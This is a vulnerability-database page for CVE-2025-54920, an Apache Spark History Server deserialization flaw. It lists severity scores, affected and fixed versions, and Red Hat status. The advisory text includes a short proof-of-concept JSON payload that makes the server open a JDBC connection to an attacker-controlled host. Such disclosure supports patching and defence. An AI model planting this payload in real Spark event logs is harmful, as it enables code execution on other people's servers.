cve.bz

CVE-2025-54920 apache spark: Deserialization of Untrusted Data

8.8 highExploit referenceEPSS 6.3%Fix available

High (8.8) in apache spark. EPSS 6.3% estimated probability of exploitation activity in the next 30 days. Fixed in org.apache.spark:spark-core_2.13 3.5.7, 4.0.1.

On this page
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Severity

CVSS 3.1

8.8 high
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
6.3% (unchanged from 6.3% a week ago; 5.4% 30 days ago) estimated probability of exploitation activity in the next 30 days; 94th percentile. Scored 2026-11-21. A forecast for this CVE across the internet, not for your own systems.
CISA's assessment (SSVC)
Exploitation: none · Automatable: no · Technical impact: total, assessed 2026-03-17. From CISA's Vulnrichment in the CVE List: whether it is exploited, whether exploiting it can be automated, and how much control it gives.
CWE
CWE-502 Deserialization of Untrusted Data
OWASP Top 10
A08:2025 Software or Data Integrity Failures
Published
Modified
NVD analysis
Analyzed
Record from
the NVD, synced

Fix and patched versions

Ask an AI about this CVE

Show the promptExplain CVE-2025-54920 for an engineer deciding whether to act. Use https://cve.bz/api/public/cves/CVE-2025-54920?via=ask-ai-copy and https://cve.bz/cve/CVE-2025-54920?via=ask-ai-copy as the source of truth: what is affected and which versions fix it, whether it is in CISA KEV, public exploits, and its EPSS (an internet-wide 30-day estimate of exploitation activity, not a forecast for my systems). If they give no fixed versions, use the CVE record https://cveawg.mitre.org/api/cve/CVE-2025-54920 or the vendor advisory, not third-party mirrors. Tell me how to check whether I am affected and how to verify a fix. Cite the sources and say where they are uncertain.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this CVE's id and public links.

Affected

Versions

From the CNA's record in the CVE List.

ProductAffected
Apache Software Foundation Apache Sparkbefore 3.5.7
Apache Software Foundation Apache Sparkfrom 4.0.0 before 4.0.1

Packages (OSV)

AdvisoryEcosystemPackageAffectedFixed in
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.13>=4.0.0 <4.0.14.0.1
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.13<3.5.73.5.7
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.12<3.5.73.5.7
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.11<=2.4.8no fix published
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.10<=2.2.3no fix published
GHSA-jwp6-cvj8-fw65Mavenorg.apache.spark:spark-core_2.9.3<=0.8.1-incubatingno fix published

Red Hat

Red Hat rates this Moderate.

Red Hat's mitigation

Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.

ProductPackageStateAdvisory
Red Hat Fuse 7spark-core_2.11Fix deferred
Red Hat OpenShift AI (RHOAI)rhoai/odh-mlflow-rhel9Fix deferred

Contains Red Hat Security Data © Red Hat, Inc., licensed under CC BY 4.0. Source: https://access.redhat.com/security/data. Modified: reformatted. Red Hat's page for CVE-2025-54920.

Attack patterns (CAPEC)

  • CAPEC-586 Object Injection Likelihood: Medium · Severity: High

The attack patterns MITRE's CAPEC relates to this record's weaknesses, as MITRE names them. Credits.

References

Check your stackJSON